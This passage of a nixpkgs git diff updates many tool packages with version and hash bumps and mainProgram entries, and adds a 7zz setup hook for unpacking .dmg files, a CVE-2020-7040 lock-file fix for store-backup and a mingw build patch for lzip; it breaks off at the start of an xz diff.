b/pkgs/tools/admin/realvnc-vnc-viewer/default.nix index 18ec2a21200bb..9776ececcfd24 100644 --- a/pkgs/tools/admin/realvnc-vnc-viewer/default.nix +++ b/pkgs/tools/admin/realvnc-vnc-viewer/default.nix @@ -17,6 +17,7 @@ let }; maintainers = with maintainers; [ emilytrau onedragon ]; platforms = [ "x86_64-linux" ] ++ platforms.darwin; + mainProgram = "vncviewer"; }; in if stdenv.isDarwin then callPackage ./darwin.nix { inherit pname version meta; } diff --git a/pkgs/tools/admin/rhoas/default.nix b/pkgs/tools/admin/rhoas/default.nix index fcad933608d6b..7400558a58875 100644 --- a/pkgs/tools/admin/rhoas/default.nix +++ b/pkgs/tools/admin/rhoas/default.nix @@ -42,5 +42,6 @@ buildGoModule rec { homepage = "https://github.com/redhat-developer/app-services-cli"; changelog = "https://github.com/redhat-developer/app-services-cli/releases/v${version}"; maintainers = with maintainers; [stehessel]; + mainProgram = "rhoas"; }; } diff --git a/pkgs/tools/admin/salt/default.nix b/pkgs/tools/admin/salt/default.nix index a08e4c5a812a3..9988029f1f776 100644 --- a/pkgs/tools/admin/salt/default.nix +++ b/pkgs/tools/admin/salt/default.nix @@ -11,12 +11,12 @@ python3.pkgs.buildPythonApplication rec { pname = "salt"; - version = "3006.6"; + version = "3006.7"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-X6tojYa3Dh6ExRtMqlZfNnGVBQaBPDcp1EQIzC9a+8M="; + hash = "sha256-7ZLSG4TrnUefk7qJRoRTQIEX4NwQEGFCFJmejQwhCv0="; }; patches = [ diff --git a/pkgs/tools/admin/scaleway-cli/default.nix b/pkgs/tools/admin/scaleway-cli/default.nix index c33f720ebad05..ec5f92c740189 100644 --- a/pkgs/tools/admin/scaleway-cli/default.nix +++ b/pkgs/tools/admin/scaleway-cli/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "scaleway-cli"; - version = "2.26.0"; + version = "2.27.0"; src = fetchFromGitHub { owner = "scaleway"; repo = "scaleway-cli"; rev = "v${version}"; - sha256 = "sha256-RfXNwuynlELT7gVWjlhjaX5nKuBJM+v6eAD/JCuRyck="; + sha256 = "sha256-brcsscNRftlpx73Q6lnbwvFiKoY6csERUUnAsiXwhF0="; }; - vendorHash = "sha256-hBfEQtuBkU2fKoCd78dpp+I19lTOycItqjlcA6KByLY="; + vendorHash = "sha256-GDV7BDZb0oHQUbA/Ojx6kzh9kBh0C5RbjYDDzX16LmQ="; ldflags = [ "-w" diff --git a/pkgs/tools/admin/sec/default.nix b/pkgs/tools/admin/sec/default.nix index a611065309ff5..a37f8af5aff18 100644 --- a/pkgs/tools/admin/sec/default.nix +++ b/pkgs/tools/admin/sec/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { description = "Simple Event Correlator"; maintainers = [ lib.maintainers.tv ]; platforms = lib.platforms.all; + mainProgram = "sec"; }; } diff --git a/pkgs/tools/admin/ssmsh/default.nix b/pkgs/tools/admin/ssmsh/default.nix index 4a059e0108fea..abf69be5765fe 100644 --- a/pkgs/tools/admin/ssmsh/default.nix +++ b/pkgs/tools/admin/ssmsh/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "ssmsh"; - version = "1.4.8"; + version = "1.4.9"; src = fetchFromGitHub { owner = "bwhaley"; repo = pname; rev = "v${version}"; - sha256 = "sha256-GpN+yicgFIHOaMeJJcRn55f6fQbFX12vSV089/cMsqc="; + sha256 = "sha256-UmfwDukRVyfX+DmUfRi+KepqFrPtDNImKd22/dI7ytk="; }; - vendorHash = "sha256-17fmdsfOrOaySPsXofLzz0+vmiemg9MbnWhRoZ67EuQ="; + vendorHash = "sha256-+7duWRe/haBOZbe18sr2qwg419ieEZwYDb0L3IPLA4A="; doCheck = true; @@ -28,5 +28,6 @@ buildGoModule rec { description = "An interactive shell for AWS Parameter Store"; license = licenses.mit; maintainers = with maintainers; [ dbirks ]; + mainProgram = "ssmsh"; }; } diff --git a/pkgs/tools/admin/swapspace/default.nix b/pkgs/tools/admin/swapspace/default.nix index 49737edf8bf14..27ec7f31f8911 100644 --- a/pkgs/tools/admin/swapspace/default.nix +++ b/pkgs/tools/admin/swapspace/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; platforms = platforms.linux; maintainers = with maintainers; [ misuzu Luflosi ]; + mainProgram = "swapspace"; }; } diff --git a/pkgs/tools/admin/syft/default.nix b/pkgs/tools/admin/syft/default.nix index 5cf4bb92fee3e..078220d33e32e 100644 --- a/pkgs/tools/admin/syft/default.nix +++ b/pkgs/tools/admin/syft/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "syft"; - version = "0.103.1"; + version = "1.0.1"; src = fetchFromGitHub { owner = "anchore"; repo = pname; rev = "v${version}"; - hash = "sha256-b50+O9Tx9CgXDW7JuCyo//ye7T0puwq6jryH6bQ4Ytw="; + hash = "sha256-/jfaVgavi3ncwbILJk5SCco1f2yC1R9MoFi+Bi6xohI="; # populate values that require us to use git. By doing this in postFetch we # can delete .git afterwards and maintain better reproducibility of the src. leaveDotGit = true; @@ -22,7 +22,7 @@ buildGoModule rec { }; # hash mismatch with darwin proxyVendor = true; - vendorHash = "sha256-CCkAxMg3J+F6xhKiB7iMCn5CNQ0IU0EW4cNn3b4eRWY="; + vendorHash = "sha256-gXE75fAbWxQdTogvub9BRl7VJVVP2I3uwgDIJUmGIPQ="; nativeBuildInputs = [ installShellFiles ]; @@ -76,5 +76,6 @@ buildGoModule rec { ''; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ jk developer-guy kashw2 ]; + mainProgram = "syft"; }; } diff --git a/pkgs/tools/admin/triton/default.nix b/pkgs/tools/admin/triton/default.nix index 3605bd9089f5e..38309e94cdee6 100644 --- a/pkgs/tools/admin/triton/default.nix +++ b/pkgs/tools/admin/triton/default.nix @@ -40,5 +40,6 @@ buildNpmPackage rec { homepage = "https://github.com/TritonDataCenter/node-triton"; license = licenses.mpl20; maintainers = with maintainers; [ teutat3s ]; + mainProgram = "triton"; }; } diff --git a/pkgs/tools/admin/wander/default.nix b/pkgs/tools/admin/wander/default.nix index 14b89311df1a9..6ad6854fc2325 100644 --- a/pkgs/tools/admin/wander/default.nix +++ b/pkgs/tools/admin/wander/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "wander"; - version = "1.0.2"; + version = "1.1.0"; src = fetchFromGitHub { owner = "robinovitch61"; repo = pname; rev = "v${version}"; - sha256 = "sha256-7/5NcrS5VR3APhv5LEpd4U0+E4PwM9cU9bb1q6UDfoI="; + sha256 = "sha256-1+bKdIAWdg/+5FBDbtvjDV0xpZ5jot3y6F+KuLO9WVk="; }; vendorHash = "sha256-0S8tzP5yNUrH6fp+v7nbUPTMWzYXyGw+ZNcXkSN+tWY="; @@ -29,5 +29,6 @@ buildGoModule rec { license = licenses.mit; homepage = "https://github.com/robinovitch61/wander"; maintainers = teams.c3d2.members; + mainProgram = "wander"; }; } diff --git a/pkgs/tools/admin/zbctl/default.nix b/pkgs/tools/admin/zbctl/default.nix index bfdd5fedc8be1..5dfa089986374 100644 --- a/pkgs/tools/admin/zbctl/default.nix +++ b/pkgs/tools/admin/zbctl/default.nix @@ -45,5 +45,6 @@ stdenvNoCC.mkDerivation rec { * Updating variables and retries * Viewing cluster status ''; + mainProgram = "zbctl"; }; } diff --git a/pkgs/tools/archivers/7zz/default.nix b/pkgs/tools/archivers/7zz/default.nix index 48b072b0cf4b6..a10283dc59f80 100644 --- a/pkgs/tools/archivers/7zz/default.nix +++ b/pkgs/tools/archivers/7zz/default.nix @@ -99,6 +99,8 @@ stdenv.mkDerivation (finalAttrs: { nativeBuildInputs = lib.optionals useUasm [ uasm ]; + setupHook = ./setup-hook.sh; + enableParallelBuilding = true; preBuild = "cd CPP/7zip/Bundles/Alone2"; diff --git a/pkgs/tools/archivers/7zz/setup-hook.sh b/pkgs/tools/archivers/7zz/setup-hook.sh new file mode 100644 index 0000000000000..97f2cc8a76948 --- /dev/null +++ b/pkgs/tools/archivers/7zz/setup-hook.sh @@ -0,0 +1,5 @@ +unpackCmdHooks+=(_tryUnpackDmg) +_tryUnpackDmg() { + if ! [[ "$curSrc" =~ \.dmg$ ]]; then return 1; fi + 7zz x "$curSrc" +} diff --git a/pkgs/tools/archivers/rar/default.nix b/pkgs/tools/archivers/rar/default.nix index 168316813f76e..3799afd736ef8 100644 --- a/pkgs/tools/archivers/rar/default.nix +++ b/pkgs/tools/archivers/rar/default.nix @@ -6,25 +6,25 @@ }: let - version = "6.24"; + version = "7.00"; downloadVersion = lib.replaceStrings [ "." ] [ "" ] version; # Use `./update.sh` to generate the entries below srcs = { i686-linux = { url = "https://www.rarlab.com/rar/rarlinux-x32-${downloadVersion}.tar.gz"; - hash = "sha256-aacgJH0iJLRNEaZuVyzl/FxZgSnW3dIZFUfaqt0l88M="; + hash = "sha256-5y2BaclEKLUpZayqzilaLPcYi0dZkKpn99n5E+Z5lOo="; }; x86_64-linux = { url = "https://www.rarlab.com/rar/rarlinux-x64-${downloadVersion}.tar.gz"; - hash = "sha256-iOIqjoQSXJR2N7vyjHRuM4oKYyedgPn51zc2A4ddses="; + hash = "sha256-Hbv68alpeCbuHFLP36EGZ/9nE1ANlpJjg6h3Gz7u4iI="; }; aarch64-darwin = { url = "https://www.rarlab.com/rar/rarmacos-arm-${downloadVersion}.tar.gz"; - hash = "sha256-2r4zWDT7Xw/CNvA7oNEsGfrXJDzFa5gNthIB/5TYR5U="; + hash = "sha256-icfpbU/UkysY4Z2wHDMWy1FnuqYkDJeDkF8yUrZuMUM="; }; x86_64-darwin = { url = "https://www.rarlab.com/rar/rarmacos-x64-${downloadVersion}.tar.gz"; - hash = "sha256-4vENPNfMpQstsm9+8+glHPK9fAlDmnHWbCHW+HUwSX4="; + hash = "sha256-/ImdlFyCCKU1/1XluAxCz11lge7+EoIE1zjBL9c2IQc="; }; }; manSrc = fetchurl { diff --git a/pkgs/tools/archivers/wimlib/default.nix b/pkgs/tools/archivers/wimlib/default.nix index 70fcad9cea889..6baf1ac89645e 100644 --- a/pkgs/tools/archivers/wimlib/default.nix +++ b/pkgs/tools/archivers/wimlib/default.nix @@ -1,22 +1,23 @@ { lib, stdenv, fetchurl, makeWrapper -, pkg-config, fuse3 +, pkg-config , cabextract ? null , cdrkit ? null , mtools ? null +, fuse3 ? null , ntfs3g ? null , syslinux ? null }: stdenv.mkDerivation rec { - version = "1.14.3"; + version = "1.14.4"; pname = "wimlib"; nativeBuildInputs = [ pkg-config makeWrapper ]; - buildInputs = [ fuse3 ntfs3g ]; + buildInputs = [ ntfs3g ] ++ lib.optionals (!stdenv.isDarwin) [ fuse3 ]; src = fetchurl { url = "https://wimlib.net/downloads/${pname}-${version}.tar.gz"; - hash = "sha256-ESjGx5FtLyLagDQfhNh9d8Yg3mUA+7I6dB+nm9CM0e8="; + hash = "sha256-NjPbK2yLJV64bTvz3zBZeWvR8I5QuMlyjH62ZmLlEwA="; }; enableParallelBuilding = true; @@ -27,7 +28,7 @@ stdenv.mkDerivation rec { ''; postInstall = let - path = lib.makeBinPath ([ cabextract mtools ntfs3g ] ++ lib.optionals (!stdenv.isDarwin) [ cdrkit syslinux ]); + path = lib.makeBinPath ([ cabextract mtools ntfs3g ] ++ lib.optionals (!stdenv.isDarwin) [ cdrkit syslinux fuse3 ]); in '' for prog in $out/bin/*; do wrapProgram $prog --prefix PATH : $out/bin:${path} diff --git a/pkgs/tools/archivers/xarchiver/default.nix b/pkgs/tools/archivers/xarchiver/default.nix index 9c0f4685fa0f0..b8ab9827cbd9a 100644 --- a/pkgs/tools/archivers/xarchiver/default.nix +++ b/pkgs/tools/archivers/xarchiver/default.nix @@ -2,14 +2,14 @@ coreutils, zip, unzip, p7zip, unar, gnutar, bzip2, gzip, lhasa, wrapGAppsHook }: stdenv.mkDerivation rec { - version = "0.5.4.22"; + version = "0.5.4.23"; pname = "xarchiver"; src = fetchFromGitHub { owner = "ib"; repo = "xarchiver"; rev = version; - sha256 = "sha256-wB1l1OcLK9rh6cpcDprXZBXLXRSwBFV9aueBI57kjJI="; + hash = "sha256-aNUpuePU6nmrralp+j8GgVPuxv9ayRVoKicPZkC4nTE="; }; nativeBuildInputs = [ intltool pkg-config makeWrapper wrapGAppsHook ]; diff --git a/pkgs/tools/audio/abcmidi/default.nix b/pkgs/tools/audio/abcmidi/default.nix index b0b48ffc9683b..6a8d491480ead 100644 --- a/pkgs/tools/audio/abcmidi/default.nix +++ b/pkgs/tools/audio/abcmidi/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "abcMIDI"; - version = "2024.02.11"; + version = "2024.03.02"; src = fetchzip { url = "https://ifdo.ca/~seymour/runabc/${pname}-${version}.zip"; - hash = "sha256-gFSwD/NUp/6cT53GKUQd+pthADOqNI0jT6yQo+/kgRY="; + hash = "sha256-LWVU6OZc4hTjYY7Q8zjlR4vMqRc2Y+8QGFST543FR1I="; }; meta = with lib; { diff --git a/pkgs/tools/audio/audiowaveform/default.nix b/pkgs/tools/audio/audiowaveform/default.nix index 8f194df4d936b..a435ede2e5ccc 100644 --- a/pkgs/tools/audio/audiowaveform/default.nix +++ b/pkgs/tools/audio/audiowaveform/default.nix @@ -11,6 +11,11 @@ stdenv.mkDerivation rec { sha256 = "sha256-FcQq0xWs3jH2MfhFQ5r5Vaz8B3akBHBSg8Z/k9An/Wg="; }; + cmakeFlags = [ + # gtest no longer supports C++11. + "-DCMAKE_CXX_STANDARD=14" + ]; + nativeBuildInputs = [ cmake gtest ]; buildInputs = [ boost gd libsndfile libmad libid3tag ]; diff --git a/pkgs/tools/audio/whisper-ctranslate2/default.nix b/pkgs/tools/audio/whisper-ctranslate2/default.nix index a380eda1fe6ac..7fd2959a9a791 100644 --- a/pkgs/tools/audio/whisper-ctranslate2/default.nix +++ b/pkgs/tools/audio/whisper-ctranslate2/default.nix @@ -5,7 +5,7 @@ }: let pname = "whisper-ctranslate2"; - version = "0.3.9"; + version = "0.4.1"; in python3.pkgs.buildPythonApplication { inherit pname version; @@ -17,7 +17,7 @@ python3.pkgs.buildPythonApplication { owner = "Softcatala"; repo = "whisper-ctranslate2"; rev = version; - hash = "sha256-dm8LPcAVxEvhFDEkZcFXFZLfEZTtKzTqBqWKfXbXn5Q="; + hash = "sha256-kFln/AqKjnEK5L9hOqGpyoRjNG+dagBIGrmq2C+OZOY="; }; propagatedBuildInputs = with python3.pkgs; [ diff --git a/pkgs/tools/audio/wyoming/faster-whisper.nix b/pkgs/tools/audio/wyoming/faster-whisper.nix index cd1a9def01892..bbef9e0813108 100644 --- a/pkgs/tools/audio/wyoming/faster-whisper.nix +++ b/pkgs/tools/audio/wyoming/faster-whisper.nix @@ -26,6 +26,11 @@ python3.pkgs.buildPythonApplication rec { nativeBuildInputs = with python3.pkgs; [ setuptools + pythonRelaxDepsHook + ]; + + pythonRelaxDeps = [ + "wyoming" ]; propagatedBuildInputs = with python3.pkgs; [ diff --git a/pkgs/tools/audio/wyoming/openwakeword.nix b/pkgs/tools/audio/wyoming/openwakeword.nix index 83da563f3b3b2..64c91ce259e81 100644 --- a/pkgs/tools/audio/wyoming/openwakeword.nix +++ b/pkgs/tools/audio/wyoming/openwakeword.nix @@ -1,36 +1,27 @@ { lib , python3Packages , fetchFromGitHub -, fetchpatch }: python3Packages.buildPythonApplication rec { pname = "wyoming-openwakeword"; - version = "1.8.1"; + version = "1.10.0"; pyproject = true; src = fetchFromGitHub { owner = "rhasspy"; repo = "wyoming-openwakeword"; rev = "refs/tags/v${version}"; - hash = "sha256-N/EjdNQLsYLpJ4kOxY/z+/dMMmF1PPAIEEzSHfnZWaM="; + hash = "sha256-5suYJ+Z6ofVAysoCdHi5b5K0JTYaqeFZ32Cm76wC5LU="; }; - patches = [ - (fetchpatch { - # import tflite entrypoint from tensorflow - url = "https://github.com/rhasspy/wyoming-openwakeword/commit/8f4ba2750d8c545e77549a7230cdee1301dac09a.patch"; - hash = "sha256-WPvywpGv0sYYVGc7he4bt7APIsa3ziKaWqpFlx3v+V8="; - }) - (fetchpatch { - # add commandline entrypoint - url = "https://github.com/rhasspy/wyoming-openwakeword/commit/f40e5635543b2315217538dd89a9fe40fe817cfe.patch"; - hash = "sha256-HNlGqt7bMzwyvhx5Hw7mkTHeQmBpgDCU3pUbZzss1bY="; - }) - ]; - nativeBuildInputs = with python3Packages; [ setuptools + pythonRelaxDepsHook + ]; + + pythonRemoveDeps = [ + "tflite-runtime-nightly" ]; propagatedBuildInputs = with python3Packages; [ diff --git a/pkgs/tools/audio/wyoming/piper.nix b/pkgs/tools/audio/wyoming/piper.nix index 32d21bfa4eafc..dc69c907ee2a4 100644 --- a/pkgs/tools/audio/wyoming/piper.nix +++ b/pkgs/tools/audio/wyoming/piper.nix @@ -6,25 +6,16 @@ python3Packages.buildPythonApplication rec { pname = "wyoming-piper"; - version = "1.4.0"; + version = "1.5.0"; pyproject = true; src = fetchFromGitHub { owner = "rhasspy"; repo = "wyoming-piper"; - # https://github.com/rhasspy/wyoming-piper/issues/3 - rev = "560927437c72eca4d334ca503d15863f0b42980d"; - hash = "sha256-Q4S96zs856zXVAGo4mB466an60naHiS2S/qxYxPE4sI="; + rev = "v${version}"; + hash = "sha256-aI1CWtSpSPX1aK4UR/lsCQZQwNs7qOLKfatlSomJx1Q="; }; - patches = [ - (fetchpatch { - # add console script - url = "https://github.com/rhasspy/wyoming-piper/commit/4c27fbd067fd543adede4626fc5868a3f2458734.patch"; - hash = "sha256-YPjDjeY9RLsgCtbBZoNgPyQTv3rbCJGcqTNSSwiqqEE="; - }) - ]; - nativeBuildInputs = with python3Packages; [ setuptools pythonRelaxDepsHook diff --git a/pkgs/tools/backup/awsbck/default.nix b/pkgs/tools/backup/awsbck/default.nix index 1ea9ed72fb22a..cb5b4f76549c8 100644 --- a/pkgs/tools/backup/awsbck/default.nix +++ b/pkgs/tools/backup/awsbck/default.nix @@ -7,16 +7,16 @@ rustPlatform.buildRustPackage rec { pname = "awsbck"; - version = "0.3.6"; + version = "0.3.7"; src = fetchFromGitHub { owner = "beeb"; repo = "awsbck"; rev = "v${version}"; - hash = "sha256-qW8UY+klNqzDcfVVCW1O7EARFdgLmnf7g/WcYNfT1SI="; + hash = "sha256-asYXmBPNsIac+c/UXSijol+DFI7qZVpg/SKxaadlBOI="; }; - cargoHash = "sha256-T/xzhE1XXexyT5ktDxny68zaszEhqKfSmibjs6T2B2E="; + cargoHash = "sha256-vFIBl/ZvSZn/9yLYMtzFvlPM+OYkZndkT6qPCIWVlOM="; buildInputs = lib.optionals stdenv.isDarwin [ Security ]; diff --git a/pkgs/tools/backup/bacula/default.nix b/pkgs/tools/backup/bacula/default.nix index b506ee1702d11..c75312606550a 100644 --- a/pkgs/tools/backup/bacula/default.nix +++ b/pkgs/tools/backup/bacula/default.nix @@ -4,11 +4,11 @@ stdenv.mkDerivation rec { pname = "bacula"; - version = "13.0.3"; + version = "13.0.4"; src = fetchurl { url = "mirror://sourceforge/bacula/${pname}-${version}.tar.gz"; - sha256 = "sha256-CUnDK+EJBYXojkwB2CgALodgMTbYfFmKKd/0K7PtKkA="; + sha256 = "sha256-FOTGLTgaEAhCLj/RSq0ZsmFBA9iQeJJtczf4UOO0c9w="; }; # libtool.m4 only matches macOS 10.* diff --git a/pkgs/tools/backup/borgmatic/default.nix b/pkgs/tools/backup/borgmatic/default.nix index 24d4e98ed1fa7..2b3b9e92f90ca 100644 --- a/pkgs/tools/backup/borgmatic/default.nix +++ b/pkgs/tools/backup/borgmatic/default.nix @@ -13,14 +13,14 @@ python3Packages.buildPythonApplication rec { pname = "borgmatic"; - version = "1.8.1"; + version = "1.8.8"; src = fetchPypi { inherit pname version; - sha256 = "sha256-XbihTQJtoiRRfwjMCP+XEPmbt7//zFPx1fIWOvn92Nc="; + sha256 = "sha256-dPWp8SH4//HJlCrF6YRaMb32idox1E0/Gd8qc/GmP4c="; }; - nativeCheckInputs = with python3Packages; [ flexmock pytestCheckHook pytest-cov ]; + nativeCheckInputs = with python3Packages; [ flexmock pytestCheckHook pytest-cov ] ++ passthru.optional-dependencies.apprise; # - test_borgmatic_version_matches_news_version # The file NEWS not available on the pypi source, and this test is useless @@ -40,6 +40,10 @@ python3Packages.buildPythonApplication rec { setuptools ]; + passthru.optional-dependencies = { + apprise = with python3Packages; [ apprise ]; + }; + postInstall = '' installShellCompletion --cmd borgmatic \ --bash <($out/bin/borgmatic --bash-completion) diff --git a/pkgs/tools/backup/percona-xtrabackup/8_0.nix b/pkgs/tools/backup/percona-xtrabackup/8_0.nix index 5bdfd864daca7..fbb4c045d776f 100644 --- a/pkgs/tools/backup/percona-xtrabackup/8_0.nix +++ b/pkgs/tools/backup/percona-xtrabackup/8_0.nix @@ -1,8 +1,8 @@ { callPackage, ... } @ args: callPackage ./generic.nix (args // { - version = "8.0.34-29"; - hash = "sha256-dO5ciIIAnKj2t+fYhrtnY7MvBThoA+SymBzN8H07giM="; + version = "8.0.35-30"; + hash = "sha256-yagqBKU057Gk5pEyT2R3c5DtxNG/+TSPenFgbxUiHPo="; # includes https://github.com/Percona-Lab/libkmip.git fetchSubmodules = true; diff --git a/pkgs/tools/backup/sigtop/default.nix b/pkgs/tools/backup/sigtop/default.nix index f4028b7942293..b83dd061efe44 100644 --- a/pkgs/tools/backup/sigtop/default.nix +++ b/pkgs/tools/backup/sigtop/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { name = "sigtop"; - version = "0.9.1"; + version = "0.10.0"; src = fetchFromGitHub { owner = "tbvdm"; repo = "sigtop"; rev = "v${version}"; - sha256 = "sha256-2qV+m9Bxhq9l27w1Xt8x8ah+QffRHkXHh2PqWdKkFaA="; + sha256 = "sha256-I1gZpzs7GtoS+EQIHXTc9laHMO68uNnIm7eVja3b8BE="; }; - vendorHash = "sha256-kkRmyWYrWDq96fECe2YMsDjRZPX2K0jKFitMJycaVVA="; + vendorHash = "sha256-9IhUGbcDeStFfQV+VEvPCwJUEvrsoiHdWxO0UHxQzqc="; makeFlags = [ "PREFIX=\${out}" diff --git a/pkgs/tools/backup/store-backup/CVE-2020-7040.patch b/pkgs/tools/backup/store-backup/CVE-2020-7040.patch new file mode 100644 index 0000000000000..9b78f9bab95fa --- /dev/null +++ b/pkgs/tools/backup/store-backup/CVE-2020-7040.patch @@ -0,0 +1,23 @@ +Index: storeBackup/lib/fileDir.pl +=================================================================== +--- storeBackup.orig/lib/fileDir.pl ++++ storeBackup/lib/fileDir.pl +@@ -21,7 +21,7 @@ + + + use Digest::MD5 qw(md5_hex); +-use Fcntl qw(O_RDWR O_CREAT); ++use Fcntl qw(O_RDWR O_CREAT O_WRONLY O_EXCL); + use Fcntl ':mode'; + use POSIX; + use Cwd 'abs_path'; +@@ -482,7 +482,7 @@ sub checkLockFile + '-str' => ["creating lock file <$lockFile>"]); + + &::checkDelSymLink($lockFile, $prLog, 0x01); +- open(FILE, '>', $lockFile) or ++ sysopen(FILE, $lockFile, O_WRONLY | O_CREAT | O_EXCL) or + $prLog->print('-kind' => 'E', + '-str' => ["cannot create lock file <$lockFile>"], + '-exit' => 1); + diff --git a/pkgs/tools/backup/store-backup/default.nix b/pkgs/tools/backup/store-backup/default.nix index afa667ec07251..506ea600cbcb7 100644 --- a/pkgs/tools/backup/store-backup/default.nix +++ b/pkgs/tools/backup/store-backup/default.nix @@ -14,7 +14,7 @@ in stdenv.mkDerivation rec { - version = "3.5"; + version = "3.5.2"; pname = "store-backup"; @@ -25,9 +25,14 @@ stdenv.mkDerivation rec { src = fetchurl { url = "https://download.savannah.gnu.org/releases/storebackup/storeBackup-${version}.tar.bz2"; - sha256 = "0y4gzssc93x6y93mjsxm5b5cdh68d7ffa43jf6np7s7c99xxxz78"; + hash = "sha256-Ki1DT2zypFFiiMVd9Y8eSX7T+yr8moWMoALmAexjqWU="; }; + patches = [ + # https://www.openwall.com/lists/oss-security/2020/01/20/3 + ./CVE-2020-7040.patch + ]; + installPhase = '' mkdir -p $out/scripts mv * $out @@ -48,7 +53,8 @@ stdenv.mkDerivation rec { PATH=$PATH:${dummyMount}/bin - + export USER=test + export HOME=$(mktemp -d) { # simple sanity test, test backup/restore of simple store paths mkdir backup diff --git a/pkgs/tools/backup/zfs-replicate/default.nix b/pkgs/tools/backup/zfs-replicate/default.nix index c5852d400eabb..82087a3f4cfa0 100644 --- a/pkgs/tools/backup/zfs-replicate/default.nix +++ b/pkgs/tools/backup/zfs-replicate/default.nix @@ -11,12 +11,12 @@ buildPythonApplication rec { pname = "zfs_replicate"; - version = "3.2.6"; - format = "pyproject"; + version = "3.2.9"; + pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-K+OCJmx0KfFTuaP3c5oFJqWa+zqYJtoruO2v/F0FtfA="; + hash = "sha256-JMkZ4AexN++vPIPqzv9majdUkoAyos+Nm4Vlgeyx0Jg="; }; postPatch = '' diff --git a/pkgs/tools/bluetooth/openobex/default.nix b/pkgs/tools/bluetooth/openobex/default.nix index 5d18319ac603c..ae487fb075fd7 100644 --- a/pkgs/tools/bluetooth/openobex/default.nix +++ b/pkgs/tools/bluetooth/openobex/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { description = "An open source implementation of the Object Exchange (OBEX) protocol"; platforms = platforms.linux; license = licenses.lgpl2Plus; + mainProgram = "obex-check-device"; }; } diff --git a/pkgs/tools/cd-dvd/dvd-vr/default.nix b/pkgs/tools/cd-dvd/dvd-vr/default.nix index 88703b28b5824..43aaa534c0419 100644 --- a/pkgs/tools/cd-dvd/dvd-vr/default.nix +++ b/pkgs/tools/cd-dvd/dvd-vr/default.nix @@ -1,10 +1,10 @@ { lib, stdenv, fetchurl }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "dvd-vr"; version = "0.9.7"; src = fetchurl { - url = "https://www.pixelbeat.org/programs/dvd-vr/dvd-vr-${version}.tar.gz"; + url = "https://www.pixelbeat.org/programs/dvd-vr/dvd-vr-${finalAttrs.version}.tar.gz"; sha256 = "13wkdia3c0ryda40b2nzpb9vddimasgc4w95hvl0k555k9k8bl0r"; }; makeFlags = [ "PREFIX=$(out)" ]; @@ -18,4 +18,4 @@ stdenv.mkDerivation rec { mainProgram = "dvd-vr"; }; } - +) diff --git a/pkgs/tools/cd-dvd/isomd5sum/default.nix b/pkgs/tools/cd-dvd/isomd5sum/default.nix index 9cb033e15d138..d13a3c5f0f13a 100644 --- a/pkgs/tools/cd-dvd/isomd5sum/default.nix +++ b/pkgs/tools/cd-dvd/isomd5sum/default.nix @@ -5,13 +5,13 @@ stdenv.mkDerivation rec { pname = "isomd5sum"; - version = "1.2.3"; + version = "1.2.4"; src = fetchFromGitHub { owner = "rhinstaller"; repo = pname; rev = version; - sha256 = "1wjnh2hlp1hjjm4a8wzdhdrm73jq41lmpmy3ls0rh715p3j7z4q9"; + sha256 = "sha256-tpDk7Wt2zV0vB2IILuIJyMMFBSiHKAVkSqsCwnWApJ0="; }; strictDeps = true; diff --git a/pkgs/tools/compression/heatshrink/default.nix b/pkgs/tools/compression/heatshrink/default.nix index b5cfb92247afa..d18f82ef21fad 100644 --- a/pkgs/tools/compression/heatshrink/default.nix +++ b/pkgs/tools/compression/heatshrink/default.nix @@ -5,14 +5,14 @@ , fetchpatch }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "heatshrink"; version = "0.4.1"; src = fetchFromGitHub { owner = "atomicobject"; repo = "heatshrink"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-Nm9/+JFMDXY1N90hmNFGh755V2sXSRQ4VBN9f8TcsGk="; }; @@ -46,4 +46,4 @@ stdenv.mkDerivation rec { platforms = platforms.all; mainProgram = "heatshrink"; }; -} +}) diff --git a/pkgs/tools/compression/lzip/default.nix b/pkgs/tools/compression/lzip/default.nix index 4c2d678eefde2..cbf789d1bbf18 100644 --- a/pkgs/tools/compression/lzip/default.nix +++ b/pkgs/tools/compression/lzip/default.nix @@ -7,16 +7,19 @@ stdenv.mkDerivation rec { pname = "lzip"; - version = "1.23"; + version = "1.24"; outputs = [ "out" "man" "info" ]; src = fetchurl { url = "mirror://savannah/lzip/${pname}-${version}.tar.gz"; - sha256 = "sha256-R5LAR93xXvKdVbqOaKGiHgy3aS2H7N9yBEGYZFgvKA0="; + sha256 = "sha256-1CZZIpsQ4GbutugetnPN2JO2cuUS0mcZwtlZdVVspWw="; }; patches = lib.optionals stdenv.hostPlatform.isMinGW [ ./mingw-install-exe-file.patch + # https://lists.nongnu.org/archive/html/lzip-bug/2024-02/msg00015.html + # patch provided by upstream, to be removed in the next release + ./mingw-mkdir-one-argument.patch ]; configureFlags = [ diff --git a/pkgs/tools/compression/lzip/mingw-mkdir-one-argument.patch b/pkgs/tools/compression/lzip/mingw-mkdir-one-argument.patch new file mode 100644 index 0000000000000..efa0d8e3a067d --- /dev/null +++ b/pkgs/tools/compression/lzip/mingw-mkdir-one-argument.patch @@ -0,0 +1,13 @@ +--- lzip-1.24/main.cc 2024-01-26 00:08:47.000000000 +0100 ++++ lzip-1.24.1/src/main.cc 2024-02-06 16:04:00.000000000 +0100 +@@ -42,8 +42,10 @@ + #if defined __MSVCRT__ || defined __OS2__ || defined __DJGPP__ + #include <io.h> + #if defined __MSVCRT__ ++#include <direct.h> + #define fchmod(x,y) 0 + #define fchown(x,y,z) 0 ++#define mkdir(name,mode) _mkdir(name) + #define strtoull std::strtoul + #define SIGHUP SIGTERM + #define S_ISSOCK(x) 0 diff --git a/pkgs/tools/compression/xz/default.nix b/pkgs/tools/compression/xz/default.nix index 9e195a0aa7db1..e02be74b60d30 100644 --- 